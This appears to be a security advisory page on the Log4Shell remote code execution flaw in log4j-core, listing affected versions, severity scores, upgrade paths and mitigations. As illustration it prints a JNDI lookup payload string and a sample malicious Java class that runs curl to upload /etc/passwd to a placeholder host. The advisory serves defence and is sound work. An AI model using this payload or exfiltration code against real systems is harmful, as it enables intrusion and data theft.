Remote Code Execution (RCE) Affecting org.apache.logging.log4j:log4j-core package, versions [2.0-beta9,2.3.1) [2.4,2.12.2) [2.13.0,2.15.0)



    Attack Complexity Low
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 97.57% (100th percentile)
Expand this section
10 critical
Expand this section
Red Hat
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • published 10 Dec 2021
  • disclosed 10 Dec 2021
  • credit Chen Zhaojun of Alibaba Cloud Security Team

How to fix?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.


org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.


When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)

Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.